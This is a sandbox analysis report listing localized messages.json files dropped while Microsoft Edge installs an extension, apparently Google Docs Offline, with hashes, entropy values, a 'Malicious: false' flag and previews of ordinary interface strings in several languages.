C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
